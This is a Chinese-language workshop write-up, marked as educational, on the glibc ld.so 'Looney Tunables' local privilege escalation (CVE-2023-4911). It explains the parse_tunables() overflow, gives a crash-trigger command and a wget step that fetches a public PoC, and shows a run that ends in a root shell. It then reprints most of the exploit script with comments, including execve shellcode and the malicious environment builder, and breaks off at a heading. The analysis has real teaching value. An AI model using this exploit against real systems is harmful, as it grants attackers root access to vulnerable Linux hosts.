Looney Tunables 本地权限升级 (CVE-2023-4911) 研讨会（仅用于教育目的）
在计算中，动态链接器是操作系统的一部分，通过将库内容从持久存储复制到 RAM、填充跳转表和重定位指针，加载和链接可执行文件执行时所需的共享库。
例如，我们有使用 openssl 库计算 md5 哈希的程序：
$ head md5_hash.c
#include
#include
#include
ld.so 解析二进制文件并尝试查找与
$ ldd md5_hash
linux-vdso.so.1 (0x00007fffa530b000)
libcrypto.so.3 => /lib/x86_64-linux-gnu/libcrypto.so.3 (0x00007f19cda00000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f19cd81e000)
/lib64/ld-linux-x86-64.so.2 (0x00007f19ce032000)
正如我们所看到的，它在/lib/x86_64-linux-gnu/libcrypto.so.3中找到了必要的加密库。在程序启动期间，它将该库的代码放入进程 RAM 中，并将所有引用链接到该库。
当程序启动时，该加载程序首先检查该程序以确定其所需的共享库。然后它搜索这些库，将它们加载到内存中，并在运行时将它们与可执行文件链接。在此过程中，动态加载器解析符号引用，例如函数和变量引用，确保为程序的执行做好一切准备。鉴于其作用，动态加载程序对安全性高度敏感，因为当本地用户启动 set-user-ID 或 set-group-ID 程序时，其代码会以提升的权限运行。
可调参数是 GNU C 库中的一项功能，允许应用程序作者和发行版维护人员更改运行时库行为以匹配其工作负载。它们被实现为一组可以以不同方式修改的开关。当前执行此操作的默认方法是通过 GLIBC_TUNABLES 环境变量，将其设置为冒号分隔的名称=值对的字符串。例如，以下示例启用 malloc 检查并将 malloc 修剪阈值设置为 128 字节：
GLIBC_TUNABLES=glibc.malloc.trim_threshold=128:glibc.malloc.check=3
export GLIBC_TUNABLES
将 --list-tunables 传递给动态加载程序以打印所有具有最小值和最大值的可调参数：
$ /lib64/ld-linux-x86-64.so.2 --list-tunables
glibc.rtld.nns: 0x4 (min: 0x1, max: 0x10)
glibc.elision.skip_lock_after_retries: 3 (min: 0, max: 2147483647)
glibc.malloc.trim_threshold: 0x0 (min: 0x0, max: 0xffffffffffffffff)
glibc.malloc.perturb: 0 (min: 0, max: 255)
glibc.cpu.x86_shared_cache_size: 0x100000 (min: 0x0, max: 0xffffffffffffffff)
glibc.pthread.rseq: 1 (min: 0, max: 1)
glibc.cpu.prefer_map_32bit_exec: 0 (min: 0, max: 1)
glibc.mem.tagging: 0 (min: 0, max: 255)
在执行的一开始，ld.so 调用 __tunables_init() 来遍历环境（第 279 行），搜索 GLIBC_TUNABLES 变量（第 282 行）；对于它找到的每个 GLIBC_TUNABLES，它都会复制该变量（第 284 行），调用 parse_tunables() 来处理和清理该副本（第 286 行），最后用该清理后的副本替换原始 GLIBC_TUNABLES（第 288 行） ）：
// (GLIBC ld.so sources in ./glibc-2.37/elf/dl-tunables.c)
269 void
270 __tunables_init ( char * * envp )
271 {
272 char * envname = NULL ;
273 char * envval = NULL ;
274 size_t len = 0 ;
275 char * * prev_envp = envp ;
...
279 while (( envp = get_next_env ( envp , & envname , & len , & envval ,
280 & prev_envp )) != NULL )
281 {
282 if ( tunable_is_name ( "GLIBC_TUNABLES" , envname )) // searching for GLIBC_TUNABLES variables
283 {
284 char * new_env = tunables_strdup ( envname );
285 if ( new_env != NULL )
286 parse_tunables ( new_env + len + 1 , envval ); //
287 /* Put in the updated envval. */
288 * prev_envp = new_env ;
289 continue ;
290 } parse_tunables() (tunestr) 的第一个参数指向即将清理的 GLIBC_TUNABLES 副本，而第二个参数 (valstring) 指向原始 GLIBC_TUNABLES 环境变量（在堆栈中）。为了清理 GLIBC_TUNABLES 的副本（其形式应为 "tunable1= aaa:tunable2=bbb" ），parse_tunables() 会从unestr 中删除所有危险的可调参数（SXID_ERASE 可调参数），但保留 SXID_IGNORE 和 NONE 可调参数（位于第 221 行） 235）：
// (GLIBC ld.so sources in ./glibc-2.37/elf/dl-tunables.c)
162 static void
163 parse_tunables ( char * tunestr , char * valstring )
164 {
...
168 char * p = tunestr ;
169 size_t off = 0 ;
170
171 while (true)
172 {
173 char * name = p ;
174 size_t len = 0 ;
175
176 /* First, find where the name ends. */
177 while ( p [ len ] != '=' && p [ len ] != ':' && p [ len ] != ' ' )
178 len ++ ;
179
180 /* If we reach the end of the string before getting a valid name-value
181 pair, bail out. */
182 if ( p [ len ] == ' ' )
183 {
184 if ( __libc_enable_secure )
185 tunestr [ off ] = ' ' ;
186 return ;
187 }
188
189 /* We did not find a valid name-value pair before encountering the
190 colon. */
191 if ( p [ len ] == ':' )
192 {
193 p += len + 1 ;
194 continue ;
195 }
196
197 p += len + 1 ;
198
199 /* Take the value from the valstring since we need to NULL terminate it. */
200 char * value = & valstring [ p - tunestr ];
201 len = 0 ;
202
203 while ( p [ len ] != ':' && p [ len ] != ' ' )
204 len ++ ;
205
206 /* Add the tunable if it exists. */
207 for ( size_t i = 0 ; i < sizeof ( tunable_list ) / sizeof ( tunable_t ); i ++ )
208 {
209 tunable_t * cur = & tunable_list [ i ];
210
211 if ( tunable_is_name ( cur -> name , name ))
212 {
...
219 if ( __libc_enable_secure )
220 {
221 if ( cur -> security_level != TUNABLE_SECLEVEL_SXID_ERASE )
222 {
223 if ( off > 0 )
224 tunestr [ off ++ ] = ':' ;
225
226 const char * n = cur -> name ;
227
228 while ( * n != ' ' )
229 tunestr [ off ++ ] = * n ++ ;
230
231 tunestr [ off ++ ] = '=' ;
232
233 for ( size_t j = 0 ; j < len ; j ++ )
234 tunestr [ off ++ ] = value [ j ];
235 }
236
237 if ( cur -> security_level != TUNABLE_SECLEVEL_NONE )
238 break ;
239 }
240
241 value [ len ] = ' ' ;
242 tunable_initialize ( cur , value );
243 break ;
244 }
245 }
246
247 if ( p [ len ] != ' ' )
248 p += len + 1 ;
249 }
250 }不幸的是，如果 GLIBC_TUNABLES 环境变量的形式为“tunable1=tunable2=AAA”（其中“tunable1”和“tunable2”是 SXID_IGNORE 可调参数，例如“glibc.malloc.mxfast”），则：
在 parse_tunables() 中的“while (true)”的第一次迭代期间，整个“tunable1=tunable2=AAA”被就地复制到tunestr（第221-235行），从而填充tunestr；
在第247-248行，p没有递增（p[len]是' '，因为在第203-204行没有找到':'），因此p仍然指向“tunable1”的值，即“tunable2= AAA”；
在 parse_tunables() 中“while (true)”的第二次迭代期间，“tunable2=AAA”被附加（就好像它是第二个可调参数）到unestr（已经满了），从而溢出了unestr。
命令：
$ env -i " GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=A " " Z= ` printf ' %08192x ' 1 ` " /usr/bin/su --help
Segmentation fault (core dumped)有效负载：
GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=A Z=00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001
长度 -> 8236 字节
这个漏洞是一个简单的缓冲区溢出，但是我们应该重写什么来实现任意代码执行呢？我们溢出的缓冲区是由 tunables_strdup() 在第 284 行分配的，这是 strdup() 的重新实现，它使用 ld.so 的 __minimal_malloc() 而不是 glibc 的 malloc() （事实上，glibc 的 malloc() 尚未初始化） ）。这个 __minimal_malloc() 实现只是调用 mmap() 从内核获取更多内存。
我们看一下这段代码：
56 struct link_map *
57 _dl_new_object ( char * realname , const char * libname , int type ,
58 struct link_map * loader , int mode , Lmid_t nsid )
59 {
..
84 struct link_map * new ;
85 struct libname_list * newname ;
..
92 new = ( struct link_map * ) calloc ( sizeof ( * new ) + audit_space
93 + sizeof ( struct link_map * )
94 + sizeof ( * newname ) + libname_len , 1 );
95 if ( new == NULL )
96 return NULL ;
97
98 new -> l_real = new ;
99 new -> l_symbolic_searchlist . r_list = ( struct link_map * * ) (( char * ) ( new + 1 )
100 + audit_space );
101
102 new -> l_libname = newname
103 = ( struct libname_list * ) ( new -> l_symbolic_searchlist . r_list + 1 );
104 newname -> name = ( char * ) memcpy ( newname + 1 , libname , libname_len );
105 /* newname->next = NULL; We use calloc therefore not necessary. */ ld.so 使用 calloc() 为该 link_map 结构分配内存，因此不会显式地将其各种成员初始化为零；这是一个合理的优化。前面提到，这里的calloc()不是glibc的calloc()而是ld.so的__minimal_calloc()，它调用__minimal_malloc()时没有显式初始化内存它就返回零；这也是一个合理的优化，因为无论出于何种目的，__minimal_malloc() 总是返回一个干净的 mmap() 内存块，保证由内核初始化为零。
不幸的是，parse_tunables() 中的缓冲区溢出允许我们用非零字节覆盖干净的 mmap() 内存，从而用非 NULL 值覆盖即将分配的 link_map 结构的指针。这让我们完全打破了 ld.so 的逻辑，它假设这些指针为 NULL。
我们意识到 link_map 结构中的更多指针没有显式初始化为 NULL；特别是 l_info[] 指针数组中指向 Elf64_Dyn 结构的指针。其中，
l_info[DT_RPATH]，即“库搜索路径”，立即脱颖而出：如果我们覆盖这个指针并控制它指向的位置和内容，那么我们可以强制 ld.so 信任我们拥有的目录，因此从该目录加载我们自己的 libc.so.6 或 LD_PRELOAD 库，并执行任意代码（作为 root，如果我们通过 SUID-root 程序运行 ld.so）。
被覆盖的
l_info[DT_RPATH]应该指向哪里？这个问题的简单答案是：堆栈；更准确地说，我们的环境字符串在堆栈中。在 Linux 上，堆栈在 16GB 区域中随机化，我们的环境字符串最多可以占用 6MB（_STK_LIM / 4 * 3，在内核的 bprm_stack_limits() 中）：在 16GB / 6MB = 2730 次尝试后，我们很有可能猜测我们的环境字符串的地址（在我们的漏洞利用中，我们总是l_info[DT_RPATH]0x7ffdfffff010，随机堆栈区域的中心）。在我们的测试中，这种暴力破解在 Debian 上大约需要 30 秒，在 Ubuntu 和 Fedora 上大约需要 5 分钟（因为它们的自动崩溃处理程序、Appport 和 ABRT；我们还没有尝试解决这种速度下降的问题）。
被覆盖的 l_info[DT_RPATH] 应该指向什么？在我们的漏洞利用中，我们只需用 0xfffffffffffffff8 (-8) 填充 6MB 的环境字符串，因为在大多数 SUID 根程序的字符串表下方的 -8B 偏移处，会出现字符串“x08”：这会强制 ld.so信任名为“x08”的相对目录（在我们当前的工作目录中），因此允许我们从该目录加载并执行我们自己的 libc.so.6 或 LD_PRELOAD 库，如下所示 根。
方案：
我正在使用旧的 kali linux 快照来测试 PoC。让我们检查一下它是否容易受到攻击：
[~/cve]$ env -i " GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=A " " Z= ` printf ' %08192x ' 1 ` " /usr/bin/su --help
[1] 7995 segmentation fault env -i " GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=A " /usr/bin/s我们收到了 SIGSEGV，因此我们的系统容易受到此 CVE LPE 的攻击！
让我们下载PoC脚本并测试它：
[~/cve]$ wget -q https://haxx.in/files/gnu-acme.py
[~/cve]$ python3 gnu-acme.py
$$$ glibc ld.so (CVE-2023-4911) exploit $$$
-- by blasty --
[i] libc = /lib/x86_64-linux-gnu/libc.so.6
[i] suid target = /usr/bin/su, suid_args = ['--help']
[i] ld.so = /lib64/ld-linux-x86-64.so.2
[i] ld.so build id = e664396d7c25533074698a0695127259dbbf56f3
[i] __libc_start_main = 0x27700
[i] using hax path b'x08' at offset -8
[i] wrote patched libc.so.6
error: no target info found for build id e664396d7c25533074698a0695127259dbbf56f3
所以，我们的 ld.so 构建 ID 不在目标列表中，让我们修复它！禁用 ASLR：
[~/cve]$ sudo bash -c " echo 0 > /proc/sys/kernel/randomize_va_space "再次检查：
[~/cve]$ python3 gnu-acme.py
$$$ glibc ld.so (CVE-2023-4911) exploit $$$
-- by blasty --
[i] libc = /lib/x86_64-linux-gnu/libc.so.6
[i] suid target = /usr/bin/su, suid_args = ['--help']
[i] ld.so = /lib64/ld-linux-x86-64.so.2
[i] ld.so build id = e664396d7c25533074698a0695127259dbbf56f3
[i] __libc_start_main = 0x27700
[i] using hax path b'x08' at offset -8
[i] wrote patched libc.so.6
[i] ASLR is not enabled, attempting to find usable offsets
[i] using stack addr 0x7fffffffe10c
found working offset for ld.so 'e664396d7c25533074698a0695127259dbbf56f3' -> 561
found working offset for ld.so 'e664396d7c25533074698a0695127259dbbf56f3' -> 562
found working offset for ld.so 'e664396d7c25533074698a0695127259dbbf56f3' -> 563
found working offset for ld.so 'e664396d7c25533074698a0695127259dbbf56f3' -> 564
found working offset for ld.so 'e664396d7c25533074698a0695127259dbbf56f3' -> 565
found working offset for ld.so 'e664396d7c25533074698a0695127259dbbf56f3' -> 566
found working offset for ld.so 'e664396d7c25533074698a0695127259dbbf56f3' -> 567
found working offset for ld.so 'e664396d7c25533074698a0695127259dbbf56f3' -> 568
因此，我们的 POC 脚本找到了一些有用的偏移量，让我们将 ld.so 构建 id 和偏移量添加到脚本中： 返回 ASLR：
[~/cve]$ sudo bash -c " echo 1 > /proc/sys/kernel/randomize_va_space "让我们再次尝试 PoC 脚本：
[~/cve]$ python3 gnu-acme.py
$$$ glibc ld.so (CVE-2023-4911) exploit $$$
-- by blasty --
[i] libc = /lib/x86_64-linux-gnu/libc.so.6
[i] suid target = /usr/bin/su, suid_args = ['--help']
[i] ld.so = /lib64/ld-linux-x86-64.so.2
[i] ld.so build id = e664396d7c25533074698a0695127259dbbf56f3
[i] __libc_start_main = 0x27700
[i] using hax path b'x08' at offset -8
[i] wrote patched libc.so.6
[i] using stack addr 0x7ffe1010100c
.........................................................................................................................................................................................................................................................................................................................................# ** ohh... looks like we got a shell? **
whoami
root
# id
uid=0(root)
有用！
它还可以处理另一个 SUID 文件：
[~/cve]$ find /usr/bin/ -perm -u=s -type f 2> /dev/null
< SNIP >
/usr/bin/mount
< SNIP > [~/cve]$ python3 gnu-acme.py /usr/bin/mount --help
$$$ glibc ld.so (CVE-2023-4911) exploit $$$
-- by blasty --
[i] libc = /lib/x86_64-linux-gnu/libc.so.6
[i] suid target = /usr/bin/mount, suid_args = ['--help']
[i] ld.so = /lib64/ld-linux-x86-64.so.2
[i] ld.so build id = e664396d7c25533074698a0695127259dbbf56f3
[i] __libc_start_main = 0x27700
[i] using hax path b'x08' at offset -8
[i] wrote patched libc.so.6
[i] using stack addr 0x7ffe10101009
....................................................................................................................................................................................................................................................................................................................................................................................................................................# ** ohh... looks like we got a shell? **
id
uid=0(root)
在 PoC 脚本的开头，我们有带有一些处理器架构的字典 ARCH（我在使用时只留下了 x86_64）。在这本词典中我们有
# This code is written by blasty , I just commented it to figure it out
# ORIGINAL POC SCRIPT -> https://haxx.in/files/gnu-acme.py
import binascii
# Shellcode反汇编
0 : 31 ff xor edi , edi
2 : 6a 69 push 0x69
4 : 58 pop rax
5 : 0f 05 syscall
7 : 31 ff xor edi , edi
9 : 6a 6a push 0x6a
b: 58 pop rax
c: 0f 05 syscall
e: 6a 68 push 0x68
10 : 48 b8 2f 62 69 6e 2f 2f 2f 73 movabs rax , 0x732f2f2f6e69622f
1a: 50 push rax
1b : 48 89 e7 mov rdi , rsp
1e: 68 72 69 01 01 push 0x1016972
23 : 81 34 24 01 01 01 01 xor DWORD PTR [ rsp ], 0x1010101
2a: 31 f6 xor esi , esi
2c: 56 push rsi
2d: 6a 08 push 0x8
2f: 5e pop rsi
30 : 48 01 e6 add rsi , rsp
33 : 56 push rsi
34 : 48 89 e6 mov rsi , rsp
37 : 31 d2 xor edx , edx
39 : 6a 3b push 0x3b
3b: 58 pop rax
3c: 0f 05 syscall退出代码反汇编
0 : 6a 66 push 0x66
2 : 5f pop rdi
3 : 6a 3c push 0x3c
5 : 58 pop rax
6 : 0f 05 syscall接下来我们有带有目标的字典（ld.so build id）及其缓冲区溢出偏移量
TARGETS = {
"e664396d7c25533074698a0695127259dbbf56f3" : 568
}然后，有很多函数根据其功能命名，并且大多数可以用 pwntools 库中的方法替换。所以我不认为详细讨论它们有什么意义，除了其中一些
# TARGETS[ld_build_id], stack_addr, hax_path["offset"], suid_e.bits
def build_env ( adjust , addr , offset , bits = 64 ):
# heap meh shui
if bits == 64 :
env = [ # Actual vulnerability exploit (buffer overflow)
b"GLIBC_TUNABLES=glibc.mem.tagging=glibc.mem.tagging=" + b"P" * adjust ,
b"GLIBC_TUNABLES=glibc.mem.tagging=glibc.mem.tagging=" + b"X" * 8 ,
b"GLIBC_TUNABLES=glibc.mem.tagging=glibc.mem.tagging=" + b"X" * 7 ,
b"GLIBC_TUNABLES=glibc.mem.tagging=" + b"Y" * 24 ,
]
pad = 172
fill = 47
else :
env = [
b"GLIBC_TUNABLES=glibc.mem.tagging=glibc.mem.tagging=" + b"P" * adjust ,
b"GLIBC_TUNABLES=glibc.mem.tagging=glibc.mem.tagging=" + b"X" * 7 ,
b"GLIBC_TUNABLES=glibc.mem.tagging=" + b"X" * 14 ,
]
pad = 87
fill = 47 * 2
for j in range ( pad ): # fill buffer with NULL bytes to NOT overwrite nothing except what we want
env . append ( b"" )
if bits == 64 : # overwrite l_info[DT_RPATH] pointer with pointer to stack
env . append ( struct . pack ( " , addr ))
env . append ( b"" )
else :
env . append ( struct . pack ( " , addr ))
for i in range ( 384 ): # fill buffer with NULL bytes to NOT overwrite nothing except what we want
env . append ( b"" )
for i in range ( fill ): # write a lot of "-8" bytes to stack to force DT_RPATH use offset -8 in .DYNSTR
if bits == 64 :
env . append (
struct . pack ( " , offset & 0xFFFFFFFFFFFFFFFF ) * 16382 + b" xaa " * 7
)
else :
env . append ( struct . pack ( " , offset & 0xFFFFFFFF ) * 16382 + b" xaa " * 7 )
env . append ( None )
return env
if __name__ == "__main__" :
banner () # just print bunner
machine = os . uname (). machine # uname of machine
if machine not in ARCH . keys ():
error ( "architecture '%s' not supported" % machine )
print ( "[i] libc = %s" % lib_path ( "c" ). decode ()) # print libc path
if len ( sys . argv ) == 1 : # check if user pass SUID binary as args, if no use "su" binary
suid_path = which ( "su" )
suid_args = [ "--help" ]
else :
suid_path = sys . argv [ 1 ]
suid_args = sys . argv [ 2 :]
lsb = (( 0x100 - ( len ( suid_path ) + 1 + 8 )) & 7 ) + 8 # Some value
print ( f"[DEBUG] -> LSB: { lsb } " )
print ( "[i] suid target = %s, suid_args = %s" % ( suid_path , suid_args )) # print suid binary path with args
suid_e = lazy_elf ( suid_path ) # generate lazy_elf object with SUID binary
ld_path = suid_e . section_by_name ( ".interp" ). strip ( b" x00 " ). decode () # get ld_path from suid binary .interp section
ld_e = lazy_elf ( ld_path ) # generate lazy_elf object with ld.so binary
print ( "[i] ld.so = %s" % ld_path ) # print ld.so path
ld_build_id = binascii . hexlify ( # get ld.so build id from ".note.gnu.build-id" section
ld_e . section_by_name ( ".note.gnu.build-id" )[ - 20 :]
). decode ()
print ( "[i] ld.so build id = %s" % ld_build_id ) # print ld.so build id
libc_e = lazy_elf ( lib_path ( "c" )) # generate lazy_elf object with libc.so.6 binary
__libc_start_main = libc_e . symbol ( "__libc_start_main" ) # find offset of __libc_start_main function in libc
if __libc_start_main == None : # if can't find __libc_start_main
error ( "could not resolve __libc_start_main" )
print ( "[i] __libc_start_main = 0x%x" % __libc_start_main ) # print offset of __libc_start_main
offset = suid_e . shdr_by_name ( ".dynstr" )[ "offset" ] # Find offset of .dynstr section
print ( f"[DEBUG] -> .DYNSTR offset: { offset } " )
hax_path = find_hax_path ( suid_e . d , offset ) # find value and offset in .dynstr to make trusted folder. It will be "x08" at offset -8 ( [.dynstr - 8] )
if hax_path is None : # error if not find hax
error ( "could not find hax path" )
print ( # print hax
"[i] using hax path %s at offset %d"
% (
hax_path [ "path" ],
hax_path [ "offset" ],
)
)
if not os . path . exists ( hax_path [ "path" ]): # create folder ("x08" to place libc there later)
os . mkdir ( hax_path [ "path" ])
argv = build_argv ([ suid_path ] + suid_args ) # just get array of arguments ( ["su", "--help", None] )
shellcode = ( # get shellcode (to spawn /bin/sh) or get exitcode which returns 0x66 if executed
ARCH [ machine ][ "shellcode" ] if is_aslr_enabled () else ARCH [ machine ][ "exitcode" ]
)
with open ( hax_path [ "path" ] + b"/libc.so.6" , "wb" ) as fh : # open folder "x08" and write patched (with shellcode) libc.so.6 there
fh . write ( libc_e . d [ 0 : __libc_start_main ]) # all before __libc_start_main
fh . write ( shellcode ) # shellcode
fh . write ( libc_e . d [ __libc_start_main + len ( shellcode ) :]) # all after shellcode
print ( "[i] wrote patched libc.so.6" )
if not is_aslr_enabled (): # if ASLR is not enabled
print ( "[i] ASLR is not enabled, attempting to find usable offsets" )
stack_addr = ARCH [ machine ][ "stack_top" ] - 0x1F00
stack_addr += lsb
print ( "[i] using stack addr 0x%x" % stack_addr )
for adjust in range ( 128 , 1024 ):
env = build_env ( adjust , stack_addr , hax_path [ "offset" ], suid_e . bits )
r = spawn ( suid_path . encode (), argv , env )
if r == 0x66 :
print (
"found working offset for ld.so '%s' -> %d" % ( ld_build_id , adjust )
)
else :
if ld_build_id not in TARGETS . keys (): # check if ld.so build id in TARGET list (check if we know ofsset to overflow)
error ( "no target info found for build id %s" % ld_build_id )
stack_addr = ARCH [ machine ][ "stack_top" ] - ( # calculate minimum address of stack
1 << ( ARCH [ machine ][ "stack_aslr_bits" ] - 1 )
)
# In [11]: hex(1 << 29)
# Out[11]: '0x20000000'
# In [12]: hex(0x800000000000 - 0x20000000)
# Out[12]: '0x7fffe0000000'
print ( f"[DEBUG] -> STACK ADDR: { hex ( stack_addr ) } " )
stack_addr += lsb
# avoid NULL bytes in guessy addr (out of sheer laziness really)
for i in range ( 6 if suid_e . bits == 64 else 4 ): # some calculations to find usable offset in stack
if ( stack_addr >> ( i * 8 )) & 0xFF == 0 :
stack_addr |= 0x10 << ( i * 8 )
print ( "[i] using stack addr 0x%x" % stack_addr )
env = build_env ( # create malicious environment variables (with overflow and stack overwrite)
TARGETS [ ld_build_id ], stack_addr , hax_path [ "offset" ], suid_e . bits
)
# print(f"[DEBUG] -> ENV: {env}")
cnt = 1
while True :
if cnt % 0x10 == 0 : # print "." every 10 executions
sys . stdout . write ( "." )
sys . stdout . flush ()
if spawn ( suid_path . encode (), argv , env ) == 0x1337 : # spawn process of SUID with malicious environment variables
print ( "goodbye. (took %d tries)" % cnt )
exit ( 0 )
cnt += 1
不同拱门上的 ASLR 熵表：
